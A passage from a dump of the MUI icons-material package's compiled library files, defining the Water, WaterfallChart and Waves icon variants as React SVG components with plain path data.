    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M21.98 14H22zM5.35 13c1.19 0 1.42 1 3.33 1 1.95 0 2.09-1 3.33-1 1.19 0 1.42 1 3.33 1 1.95 0 2.09-1 3.33-1 .93 0 1.05.45 2.01.79.63.22 1.3-.24 1.3-.91 0-.52-.23-.83-.64-.97-.6-.22-1.15-.9-2.69-.9-1.95 0-2.09 1-3.33 1-1.19 0-1.42-1-3.33-1-1.95 0-2.09 1-3.33 1-1.19 0-1.42-1-3.33-1-1.54 0-2.13.71-2.68.91-.41.13-.65.43-.65.97 0 .67.66 1.13 1.29.91 1.06-.36 1.1-.8 2.06-.8m13.32 2c-1.95 0-2.09 1-3.33 1-1.19 0-1.42-1-3.33-1-1.95 0-2.1 1-3.34 1s-1.38-1-3.33-1c-1.53 0-2.15.71-2.69.91-.41.14-.65.45-.65.98 0 .67.66 1.13 1.3.91 1.02-.36 1.08-.8 2.04-.8 1.24 0 1.38 1 3.33 1s2.1-1 3.34-1c1.19 0 1.42 1 3.33 1 1.94 0 2.09-1 3.33-1 .94 0 1.06.46 2.03.8.63.22 1.3-.24 1.3-.91 0-.53-.24-.83-.65-.98-.53-.19-1.14-.91-2.68-.91M5.35 9c1.19 0 1.42 1 3.33 1 1.95 0 2.09-1 3.33-1 1.19 0 1.42 1 3.33 1 1.95 0 2.09-1 3.33-1 .93 0 1.05.45 2.01.79.63.22 1.3-.24 1.3-.91 0-.52-.23-.83-.64-.97-.6-.23-1.15-.91-2.69-.91-1.95 0-2.09 1-3.33 1-1.19 0-1.42-1-3.33-1-1.95 0-2.09 1-3.33 1-1.19 0-1.42-1-3.33-1-1.54 0-2.13.71-2.68.91-.41.14-.65.44-.65.98 0 .67.66 1.13 1.29.91 1.06-.36 1.1-.8 2.06-.8\"\n}), 'WaterRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/WaterSharp.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M21.98 14H22zM5.35 13c1.19 0 1.42 1 3.33 1 1.95 0 2.09-1 3.33-1 1.19 0 1.42 1 3.33 1 1.95 0 2.09-1 3.33-1 1.19 0 1.4.98 3.31 1v-2c-1.19 0-1.42-1-3.33-1-1.95 0-2.09 1-3.33 1-1.19 0-1.42-1-3.33-1-1.95 0-2.09 1-3.33 1-1.19 0-1.42-1-3.33-1-1.95 0-2.09 1-3.33 1v2c1.9 0 2.17-1 3.35-1m13.32 2c-1.95 0-2.09 1-3.33 1-1.19 0-1.42-1-3.33-1-1.95 0-2.1 1-3.34 1s-1.38-1-3.33-1-2.1 1-3.34 1v2c1.95 0 2.11-1 3.34-1 1.24 0 1.38 1 3.33 1s2.1-1 3.34-1c1.19 0 1.42 1 3.33 1 1.94 0 2.09-1 3.33-1 1.19 0 1.42 1 3.33 1v-2c-1.24 0-1.38-1-3.33-1M5.35 9c1.19 0 1.42 1 3.33 1 1.95 0 2.09-1 3.33-1 1.19 0 1.42 1 3.33 1 1.95 0 2.09-1 3.33-1 1.19 0 1.4.98 3.31 1V8c-1.19 0-1.42-1-3.33-1-1.95 0-2.09 1-3.33 1-1.19 0-1.42-1-3.33-1-1.95 0-2.09 1-3.33 1-1.19 0-1.42-1-3.33-1C3.38 7 3.24 8 2 8v2c1.9 0 2.17-1 3.35-1\"\n}), 'WaterSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/WaterSharp.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M21.98 14H22zM5.35 13c1.19 0 1.42 1 3.33 1 1.95 0 2.09-1 3.33-1 1.19 0 1.42 1 3.33 1 1.95 0 2.09-1 3.33-1 1.19 0 1.4.98 3.31 1v-2c-1.19 0-1.42-1-3.33-1-1.95 0-2.09 1-3.33 1-1.19 0-1.42-1-3.33-1-1.95 0-2.09 1-3.33 1-1.19 0-1.42-1-3.33-1-1.95 0-2.09 1-3.33 1v2c1.9 0 2.17-1 3.35-1m13.32 2c-1.95 0-2.09 1-3.33 1-1.19 0-1.42-1-3.33-1-1.95 0-2.1 1-3.34 1s-1.38-1-3.33-1-2.1 1-3.34 1v2c1.95 0 2.11-1 3.34-1 1.24 0 1.38 1 3.33 1s2.1-1 3.34-1c1.19 0 1.42 1 3.33 1 1.94 0 2.09-1 3.33-1 1.19 0 1.42 1 3.33 1v-2c-1.24 0-1.38-1-3.33-1M5.35 9c1.19 0 1.42 1 3.33 1 1.95 0 2.09-1 3.33-1 1.19 0 1.42 1 3.33 1 1.95 0 2.09-1 3.33-1 1.19 0 1.4.98 3.31 1V8c-1.19 0-1.42-1-3.33-1-1.95 0-2.09 1-3.33 1-1.19 0-1.42-1-3.33-1-1.95 0-2.09 1-3.33 1-1.19 0-1.42-1-3.33-1C3.38 7 3.24 8 2 8v2c1.9 0 2.17-1 3.35-1\"\n}), 'WaterSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/WaterTwoTone.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M21.98 14H22zM5.35 13c1.19 0 1.42 1 3.33 1 1.95 0 2.09-1 3.33-1 1.19 0 1.42 1 3.33 1 1.95 0 2.09-1 3.33-1 1.19 0 1.4.98 3.31 1v-2c-1.19 0-1.42-1-3.33-1-1.95 0-2.09 1-3.33 1-1.19 0-1.42-1-3.33-1-1.95 0-2.09 1-3.33 1-1.19 0-1.42-1-3.33-1-1.95 0-2.09 1-3.33 1v2c1.9 0 2.17-1 3.35-1m13.32 2c-1.95 0-2.09 1-3.33 1-1.19 0-1.42-1-3.33-1-1.95 0-2.1 1-3.34 1s-1.38-1-3.33-1-2.1 1-3.34 1v2c1.95 0 2.11-1 3.34-1 1.24 0 1.38 1 3.33 1s2.1-1 3.34-1c1.19 0 1.42 1 3.33 1 1.94 0 2.09-1 3.33-1 1.19 0 1.42 1 3.33 1v-2c-1.24 0-1.38-1-3.33-1M5.35 9c1.19 0 1.42 1 3.33 1 1.95 0 2.09-1 3.33-1 1.19 0 1.42 1 3.33 1 1.95 0 2.09-1 3.33-1 1.19 0 1.4.98 3.31 1V8c-1.19 0-1.42-1-3.33-1-1.95 0-2.09 1-3.33 1-1.19 0-1.42-1-3.33-1-1.95 0-2.09 1-3.33 1-1.19 0-1.42-1-3.33-1C3.38 7 3.24 8 2 8v2c1.9 0 2.17-1 3.35-1\"\n}), 'WaterTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/WaterTwoTone.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M21.98 14H22zM5.35 13c1.19 0 1.42 1 3.33 1 1.95 0 2.09-1 3.33-1 1.19 0 1.42 1 3.33 1 1.95 0 2.09-1 3.33-1 1.19 0 1.4.98 3.31 1v-2c-1.19 0-1.42-1-3.33-1-1.95 0-2.09 1-3.33 1-1.19 0-1.42-1-3.33-1-1.95 0-2.09 1-3.33 1-1.19 0-1.42-1-3.33-1-1.95 0-2.09 1-3.33 1v2c1.9 0 2.17-1 3.35-1m13.32 2c-1.95 0-2.09 1-3.33 1-1.19 0-1.42-1-3.33-1-1.95 0-2.1 1-3.34 1s-1.38-1-3.33-1-2.1 1-3.34 1v2c1.95 0 2.11-1 3.34-1 1.24 0 1.38 1 3.33 1s2.1-1 3.34-1c1.19 0 1.42 1 3.33 1 1.94 0 2.09-1 3.33-1 1.19 0 1.42 1 3.33 1v-2c-1.24 0-1.38-1-3.33-1M5.35 9c1.19 0 1.42 1 3.33 1 1.95 0 2.09-1 3.33-1 1.19 0 1.42 1 3.33 1 1.95 0 2.09-1 3.33-1 1.19 0 1.4.98 3.31 1V8c-1.19 0-1.42-1-3.33-1-1.95 0-2.09 1-3.33 1-1.19 0-1.42-1-3.33-1-1.95 0-2.09 1-3.33 1-1.19 0-1.42-1-3.33-1C3.38 7 3.24 8 2 8v2c1.9 0 2.17-1 3.35-1\"\n}), 'WaterTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/WaterfallChart.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M18 4h3v16h-3zM3 13h3v7H3zm11-9h3v3h-3zm-4 1h3v4h-3zm-3 5h3v4H7z\"\n}), 'WaterfallChart');"
  },
  {
    "path": "packages/mui-icons-material/lib/WaterfallChart.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M18 4h3v16h-3zM3 13h3v7H3zm11-9h3v3h-3zm-4 1h3v4h-3zm-3 5h3v4H7z\"\n}), 'WaterfallChart');"
  },
  {
    "path": "packages/mui-icons-material/lib/WaterfallChartOutlined.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M18 4h3v16h-3zM3 13h3v7H3zm11-9h3v3h-3zm-4 1h3v4h-3zm-3 5h3v4H7z\"\n}), 'WaterfallChartOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/WaterfallChartOutlined.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M18 4h3v16h-3zM3 13h3v7H3zm11-9h3v3h-3zm-4 1h3v4h-3zm-3 5h3v4H7z\"\n}), 'WaterfallChartOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/WaterfallChartRounded.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M19.5 4c.83 0 1.5.67 1.5 1.5v13c0 .83-.67 1.5-1.5 1.5s-1.5-.67-1.5-1.5v-13c0-.83.67-1.5 1.5-1.5m-15 9c.83 0 1.5.67 1.5 1.5v4c0 .83-.67 1.5-1.5 1.5S3 19.33 3 18.5v-4c0-.83.67-1.5 1.5-1.5m11-9c.83 0 1.5.67 1.5 1.5S16.33 7 15.5 7 14 6.33 14 5.5 14.67 4 15.5 4m-4 1c.83 0 1.5.67 1.5 1.5v1c0 .83-.67 1.5-1.5 1.5S10 8.33 10 7.5v-1c0-.83.67-1.5 1.5-1.5m-3 5c.83 0 1.5.67 1.5 1.5v1c0 .83-.67 1.5-1.5 1.5S7 13.33 7 12.5v-1c0-.83.67-1.5 1.5-1.5\"\n}), 'WaterfallChartRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/WaterfallChartRounded.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M19.5 4c.83 0 1.5.67 1.5 1.5v13c0 .83-.67 1.5-1.5 1.5s-1.5-.67-1.5-1.5v-13c0-.83.67-1.5 1.5-1.5m-15 9c.83 0 1.5.67 1.5 1.5v4c0 .83-.67 1.5-1.5 1.5S3 19.33 3 18.5v-4c0-.83.67-1.5 1.5-1.5m11-9c.83 0 1.5.67 1.5 1.5S16.33 7 15.5 7 14 6.33 14 5.5 14.67 4 15.5 4m-4 1c.83 0 1.5.67 1.5 1.5v1c0 .83-.67 1.5-1.5 1.5S10 8.33 10 7.5v-1c0-.83.67-1.5 1.5-1.5m-3 5c.83 0 1.5.67 1.5 1.5v1c0 .83-.67 1.5-1.5 1.5S7 13.33 7 12.5v-1c0-.83.67-1.5 1.5-1.5\"\n}), 'WaterfallChartRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/WaterfallChartSharp.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M18 4h3v16h-3zM3 13h3v7H3zm11-9h3v3h-3zm-4 1h3v4h-3zm-3 5h3v4H7z\"\n}), 'WaterfallChartSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/WaterfallChartSharp.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M18 4h3v16h-3zM3 13h3v7H3zm11-9h3v3h-3zm-4 1h3v4h-3zm-3 5h3v4H7z\"\n}), 'WaterfallChartSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/WaterfallChartTwoTone.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M18 4h3v16h-3zM3 13h3v7H3zm11-9h3v3h-3zm-4 1h3v4h-3zm-3 5h3v4H7z\"\n}), 'WaterfallChartTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/WaterfallChartTwoTone.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M18 4h3v16h-3zM3 13h3v7H3zm11-9h3v3h-3zm-4 1h3v4h-3zm-3 5h3v4H7z\"\n}), 'WaterfallChartTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/Waves.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M17 16.99c-1.35 0-2.2.42-2.95.8-.65.33-1.18.6-2.05.6-.9 0-1.4-.25-2.05-.6-.75-.38-1.57-.8-2.95-.8s-2.2.42-2.95.8c-.65.33-1.17.6-2.05.6v1.95c1.35 0 2.2-.42 2.95-.8.65-.33 1.17-.6 2.05-.6s1.4.25 2.05.6c.75.38 1.57.8 2.95.8s2.2-.42 2.95-.8c.65-.33 1.18-.6 2.05-.6.9 0 1.4.25 2.05.6.75.38 1.58.8 2.95.8v-1.95c-.9 0-1.4-.25-2.05-.6-.75-.38-1.6-.8-2.95-.8m0-4.45c-1.35 0-2.2.43-2.95.8-.65.32-1.18.6-2.05.6-.9 0-1.4-.25-2.05-.6-.75-.38-1.57-.8-2.95-.8s-2.2.43-2.95.8c-.65.32-1.17.6-2.05.6v1.95c1.35 0 2.2-.43 2.95-.8.65-.35 1.15-.6 2.05-.6s1.4.25 2.05.6c.75.38 1.57.8 2.95.8s2.2-.43 2.95-.8c.65-.35 1.15-.6 2.05-.6s1.4.25 2.05.6c.75.38 1.58.8 2.95.8v-1.95c-.9 0-1.4-.25-2.05-.6-.75-.38-1.6-.8-2.95-.8m2.95-8.08c-.75-.38-1.58-.8-2.95-.8s-2.2.42-2.95.8c-.65.32-1.18.6-2.05.6-.9 0-1.4-.25-2.05-.6-.75-.37-1.57-.8-2.95-.8s-2.2.42-2.95.8c-.65.33-1.17.6-2.05.6v1.93c1.35 0 2.2-.43 2.95-.8.65-.33 1.17-.6 2.05-.6s1.4.25 2.05.6c.75.38 1.57.8 2.95.8s2.2-.43 2.95-.8c.65-.32 1.18-.6 2.05-.6.9 0 1.4.25 2.05.6.75.38 1.58.8 2.95.8V5.04c-.9 0-1.4-.25-2.05-.58M17 8.09c-1.35 0-2.2.43-2.95.8-.65.35-1.15.6-2.05.6s-1.4-.25-2.05-.6c-.75-.38-1.57-.8-2.95-.8s-2.2.43-2.95.8c-.65.35-1.15.6-2.05.6v1.95c1.35 0 2.2-.43 2.95-.8.65-.32 1.18-.6 2.05-.6s1.4.25 2.05.6c.75.38 1.57.8 2.95.8s2.2-.43 2.95-.8c.65-.32 1.18-.6 2.05-.6.9 0 1.4.25 2.05.6.75.38 1.58.8 2.95.8V9.49c-.9 0-1.4-.25-2.05-.6-.75-.38-1.6-.8-2.95-.8\"\n}), 'Waves');"
  },
  {
    "path": "packages/mui-icons-material/lib/Waves.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M17 16.99c-1.35 0-2.2.42-2.95.8-.65.33-1.18.6-2.05.6-.9 0-1.4-.25-2.05-.6-.75-.38-1.57-.8-2.95-.8s-2.2.42-2.95.8c-.65.33-1.17.6-2.05.6v1.95c1.35 0 2.2-.42 2.95-.8.65-.33 1.17-.6 2.05-.6s1.4.25 2.05.6c.75.38 1.57.8 2.95.8s2.2-.42 2.95-.8c.65-.33 1.18-.6 2.05-.6.9 0 1.4.25 2.05.6.75.38 1.58.8 2.95.8v-1.95c-.9 0-1.4-.25-2.05-.6-.75-.38-1.6-.8-2.95-.8m0-4.45c-1.35 0-2.2.43-2.95.8-.65.32-1.18.6-2.05.6-.9 0-1.4-.25-2.05-.6-.75-.38-1.57-.8-2.95-.8s-2.2.43-2.95.8c-.65.32-1.17.6-2.05.6v1.95c1.35 0 2.2-.43 2.95-.8.65-.35 1.15-.6 2.05-.6s1.4.25 2.05.6c.75.38 1.57.8 2.95.8s2.2-.43 2.95-.8c.65-.35 1.15-.6 2.05-.6s1.4.25 2.05.6c.75.38 1.58.8 2.95.8v-1.95c-.9 0-1.4-.25-2.05-.6-.75-.38-1.6-.8-2.95-.8m2.95-8.08c-.75-.38-1.58-.8-2.95-.8s-2.2.42-2.95.8c-.65.32-1.18.6-2.05.6-.9 0-1.4-.25-2.05-.6-.75-.37-1.57-.8-2.95-.8s-2.2.42-2.95.8c-.65.33-1.17.6-2.05.6v1.93c1.35 0 2.2-.43 2.95-.8.65-.33 1.17-.6 2.05-.6s1.4.25 2.05.6c.75.38 1.57.8 2.95.8s2.2-.43 2.95-.8c.65-.32 1.18-.6 2.05-.6.9 0 1.4.25 2.05.6.75.38 1.58.8 2.95.8V5.04c-.9 0-1.4-.25-2.05-.58M17 8.09c-1.35 0-2.2.43-2.95.8-.65.35-1.15.6-2.05.6s-1.4-.25-2.05-.6c-.75-.38-1.57-.8-2.95-.8s-2.2.43-2.95.8c-.65.35-1.15.6-2.05.6v1.95c1.35 0 2.2-.43 2.95-.8.65-.32 1.18-.6 2.05-.6s1.4.25 2.05.6c.75.38 1.57.8 2.95.8s2.2-.43 2.95-.8c.65-.32 1.18-.6 2.05-.6.9 0 1.4.25 2.05.6.75.38 1.58.8 2.95.8V9.49c-.9 0-1.4-.25-2.05-.6-.75-.38-1.6-.8-2.95-.8\"\n}), 'Waves');"
  },
  {
    "path": "packages/mui-icons-material/lib/WavesOutlined.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M17 16.99c-1.35 0-2.2.42-2.95.8-.65.33-1.18.6-2.05.6-.9 0-1.4-.25-2.05-.6-.75-.38-1.57-.8-2.95-.8s-2.2.42-2.95.8c-.65.33-1.17.6-2.05.6v1.95c1.35 0 2.2-.42 2.95-.8.65-.33 1.17-.6 2.05-.6s1.4.25 2.05.6c.75.38 1.57.8 2.95.8s2.2-.42 2.95-.8c.65-.33 1.18-.6 2.05-.6.9 0 1.4.25 2.05.6.75.38 1.58.8 2.95.8v-1.95c-.9 0-1.4-.25-2.05-.6-.75-.38-1.6-.8-2.95-.8m0-4.45c-1.35 0-2.2.43-2.95.8-.65.32-1.18.6-2.05.6-.9 0-1.4-.25-2.05-.6-.75-.38-1.57-.8-2.95-.8s-2.2.43-2.95.8c-.65.32-1.17.6-2.05.6v1.95c1.35 0 2.2-.43 2.95-.8.65-.35 1.15-.6 2.05-.6s1.4.25 2.05.6c.75.38 1.57.8 2.95.8s2.2-.43 2.95-.8c.65-.35 1.15-.6 2.05-.6s1.4.25 2.05.6c.75.38 1.58.8 2.95.8v-1.95c-.9 0-1.4-.25-2.05-.6-.75-.38-1.6-.8-2.95-.8m2.95-8.08c-.75-.38-1.58-.8-2.95-.8s-2.2.42-2.95.8c-.65.32-1.18.6-2.05.6-.9 0-1.4-.25-2.05-.6-.75-.37-1.57-.8-2.95-.8s-2.2.42-2.95.8c-.65.33-1.17.6-2.05.6v1.93c1.35 0 2.2-.43 2.95-.8.65-.33 1.17-.6 2.05-.6s1.4.25 2.05.6c.75.38 1.57.8 2.95.8s2.2-.43 2.95-.8c.65-.32 1.18-.6 2.05-.6.9 0 1.4.25 2.05.6.75.38 1.58.8 2.95.8V5.04c-.9 0-1.4-.25-2.05-.58M17 8.09c-1.35 0-2.2.43-2.95.8-.65.35-1.15.6-2.05.6s-1.4-.25-2.05-.6c-.75-.38-1.57-.8-2.95-.8s-2.2.43-2.95.8c-.65.35-1.15.6-2.05.6v1.95c1.35 0 2.2-.43 2.95-.8.65-.32 1.18-.6 2.05-.6s1.4.25 2.05.6c.75.38 1.57.8 2.95.8s2.2-.43 2.95-.8c.65-.32 1.18-.6 2.05-.6.9 0 1.4.25 2.05.6.75.38 1.58.8 2.95.8V9.49c-.9 0-1.4-.25-2.05-.6-.75-.38-1.6-.8-2.95-.8\"\n}), 'WavesOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/WavesOutlined.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M17 16.99c-1.35 0-2.2.42-2.95.8-.65.33-1.18.6-2.05.6-.9 0-1.4-.25-2.05-.6-.75-.38-1.57-.8-2.95-.8s-2.2.42-2.95.8c-.65.33-1.17.6-2.05.6v1.95c1.35 0 2.2-.42 2.95-.8.65-.33 1.17-.6 2.05-.6s1.4.25 2.05.6c.75.38 1.57.8 2.95.8s2.2-.42 2.95-.8c.65-.33 1.18-.6 2.05-.6.9 0 1.4.25 2.05.6.75.38 1.58.8 2.95.8v-1.95c-.9 0-1.4-.25-2.05-.6-.75-.38-1.6-.8-2.95-.8m0-4.45c-1.35 0-2.2.43-2.95.8-.65.32-1.18.6-2.05.6-.9 0-1.4-.25-2.05-.6-.75-.38-1.57-.8-2.95-.8s-2.2.43-2.95.8c-.65.32-1.17.6-2.05.6v1.95c1.35 0 2.2-.43 2.95-.8.65-.35 1.15-.6 2.05-.6s1.4.25 2.05.6c.75.38 1.57.8 2.95.8s2.2-.43 2.95-.8c.65-.35 1.15-.6 2.05-.6s1.4.25 2.05.6c.75.38 1.58.8 2.95.8v-1.95c-.9 0-1.4-.25-2.05-.6-.75-.38-1.6-.8-2.95-.8m2.95-8.08c-.75-.38-1.58-.8-2.95-.8s-2.2.42-2.95.8c-.65.32-1.18.6-2.05.6-.9 0-1.4-.25-2.05-.6-.75-.37-1.57-.8-2.95-.8s-2.2.42-2.95.8c-.65.33-1.17.6-2.05.6v1.93c1.35 0 2.2-.43 2.95-.8.65-.33 1.17-.6 2.05-.6s1.4.25 2.05.6c.75.38 1.57.8 2.95.8s2.2-.43 2.95-.8c.65-.32 1.18-.6 2.05-.6.9 0 1.4.25 2.05.6.75.38 1.58.8 2.95.8V5.04c-.9 0-1.4-.25-2.05-.58M17 8.09c-1.35 0-2.2.43-2.95.8-.65.35-1.15.6-2.05.6s-1.4-.25-2.05-.6c-.75-.38-1.57-.8-2.95-.8s-2.2.43-2.95.8c-.65.35-1.15.6-2.05.6v1.95c1.35 0 2.2-.43 2.95-.8.65-.32 1.18-.6 2.05-.6s1.4.25 2.05.6c.75.38 1.57.8 2.95.8s2.2-.43 2.95-.8c.65-.32 1.18-.6 2.05-.6.9 0 1.4.25 2.05.6.75.38 1.58.8 2.95.8V9.49c-.9 0-1.4-.25-2.05-.6-.75-.38-1.6-.8-2.95-.8\"\n}), 'WavesOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/WavesRounded.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M17 16.99c-1.35 0-2.2.42-2.95.8-.65.33-1.18.6-2.05.6-.9 0-1.4-.25-2.05-.6-.75-.38-1.57-.8-2.95-.8s-2.2.42-2.95.8c-.43.22-.81.41-1.27.52-.45.1-.78.46-.78.91v.1c0 .6.56 1.03 1.14.91.74-.15 1.3-.43 1.81-.69.65-.33 1.17-.6 2.05-.6s1.4.25 2.05.6c.75.38 1.57.8 2.95.8s2.2-.42 2.95-.8c.65-.33 1.18-.6 2.05-.6.9 0 1.4.25 2.05.6.52.26 1.08.55 1.83.7.58.11 1.12-.33 1.12-.91v-.09c0-.46-.34-.82-.79-.92-.46-.1-.83-.29-1.26-.52-.75-.39-1.6-.81-2.95-.81m0-4.45c-1.35 0-2.2.43-2.95.8-.65.32-1.18.6-2.05.6-.9 0-1.4-.25-2.05-.6-.75-.38-1.57-.8-2.95-.8s-2.2.43-2.95.8c-.43.21-.81.41-1.28.52-.44.1-.77.46-.77.91v.1c0 .59.54 1.03 1.12.91.75-.15 1.31-.44 1.83-.69.65-.35 1.15-.6 2.05-.6s1.4.25 2.05.6c.75.38 1.57.8 2.95.8s2.2-.43 2.95-.8c.65-.35 1.15-.6 2.05-.6s1.4.25 2.05.6c.52.26 1.08.55 1.83.7.58.11 1.12-.33 1.12-.92v-.09c0-.46-.34-.82-.79-.92-.46-.1-.83-.29-1.26-.52-.75-.38-1.6-.8-2.95-.8m2.95-8.08c-.75-.38-1.58-.8-2.95-.8s-2.2.42-2.95.8c-.65.32-1.18.6-2.05.6-.9 